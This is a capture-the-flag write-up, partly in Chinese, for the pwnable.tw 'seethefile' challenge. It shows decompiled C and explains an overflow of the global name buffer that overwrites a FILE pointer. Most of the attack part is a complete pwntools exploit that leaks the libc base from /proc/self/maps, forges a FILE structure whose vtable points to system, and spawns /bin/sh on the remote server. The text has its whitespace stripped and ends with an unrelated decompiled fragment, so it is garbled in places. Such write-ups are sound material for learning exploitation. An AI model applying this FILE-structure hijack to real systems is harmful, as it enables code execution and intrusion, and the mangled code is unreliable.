int__cdeclmain(intargc,constchar**argv,constchar**envp){intresult;// eax
charnptr[32];// [esp+Ch] [ebp-2Ch] BYREF
unsignedintv5;// [esp+2Ch] [ebp-Ch]
v5=__readgsdword(0x14u);init();welcome();while(1){menu();__isoc99_scanf("%s",nptr);switch(atoi(nptr)){case1:openfile();break;case2:readfile();break;case3:writefile();break;case4:closefile();break;case5:printf("Leave your name :");__isoc99_scanf("%s",name);printf("Thank you %s ,see you next time\n",name);if(fp)fclose(fp);exit(0);returnresult;default:puts("Invaild choice");exit(0);returnresult;}}}
void__cdeclopenfile(){if(fp){puts("You need to close the file first");}else{memset(magicbuf,0,0x190u);printf("What do you want to see :");__isoc99_scanf("%63s",filename);if(strstr(filename,"flag")){puts("Danger !");exit(0);}fp=fopen(filename,"r");if(fp)puts("Open Successful");elseputs("Open failed");}}
以只读模式打开一个文件, 文件名不能含有 flag. 把 FILE 指针保存在全局变量 fp 上.
readfile:
1
2
3
4
5
6
7
8
9
10
11
12
13
voidreadfile(void){memset(magicbuf,0,0x190u);if(fp){if(fread(magicbuf,0x18Fu,1u,fp))puts("Read Successful");}else{puts("You need to open a file first");}}
如果 fp 不为空, 将 fp 的内容写到全局变量 magicbuf 上.
writefile:
1
2
3
4
5
6
7
8
9
voidwritefile(void){if(strstr(filename,"flag")||strstr(magicbuf,"FLAG")||strchr(magicbuf,'}')){puts("you can't see it");exit(1);}puts(magicbuf);}
如果 magicbuf 里的内容包含 flag / FLAG 则退出; 否则将其输出到屏幕上.
closefile:
1
2
3
4
5
6
7
8
voidclosefile(void){if(fp)fclose(fp);elseputs("Nothing need to close");fp=0;}
将 fp 关闭. 同时赋值 fp 为 NULL.
case 5:
1
2
3
4
5
6
printf("Leave your name :");__isoc99_scanf("%s",name);printf("Thank you %s ,see you next time\n",name);if(fp)fclose(fp);exit(0);
向数据段上的 name 输入数据, 然后关闭 fp. 这里使用 %s, 可以造成溢出. 查看一下布局, name 在 0x0804B260, fp 在 0x0804B280, 也就是这里可以覆盖 fp 这个 FILE 指针.
frompwnimport*context(os='linux',arch='i386',log_level='debug')procname='./seethefile'# io = process(procname)io=remote('chall.pwnable.tw',10200)elf=ELF(procname)libc=ELF('./libc_32.so.6')defn2b(x):returnstr(x).encode()defop(x):io.sendlineafter(b'Your choice :',n2b(x))defopenfile(filename):op(1)io.sendlineafter(b'What do you want to see :',filename)defreadfile():op(2)defwritefile():op(3)defclosefile():op(4)defquit(name):op(5)io.sendlineafter(b'Leave your name :',name)name_buf=elf.sym['name']null_addr=name_buffake_FILE_addr=name_buf+0x30fake_vtable=name_buf+0x200defmain():pause()openfile(b'/proc/self/maps')readfile()readfile()writefile()io.recvuntil(b'f7')libc.address=int(b'0xf7'+io.recv(6),16)success(f'libc address: {hex(libc.address)}')fake_FILE=FileStructure(null_addr)# set lockfake_FILE.flags=0xffffdfff# set flagfake_FILE._IO_read_ptr=b';/bi'# set ;/bin/shfake_FILE._IO_read_end=b'n/sh'fake_FILE.vtable=fake_vtable# set vtablepayload=b'\x00'*32# fill namepayload+=p32(fake_FILE_addr)# overleap fppayload=payload.ljust(0x30,b'\x00')payload+=bytes(fake_FILE)# fill fake FILEpayload=payload.ljust(0x200,b'\x00')payload+=p32(libc.sym['system'])*21# fill all function ptr to systemquit(payload)io.interactive()if__name__=='__main__':main()
void__fastcall__noreturnmain(__int64a1,char**a2,char**a3){signedinti;// [rsp+4h] [rbp-Ch]
void*buf;// [rsp+8h] [rbp-8h]
sleep(0);printf("here is a gift %p, good luck ;)\n",&sleep);fflush(_bss_start);close(1);close(2);for(i=0;i<=4;++i){read(0,&buf,8uLL);read(0,buf,1uLL);}exit(1337);}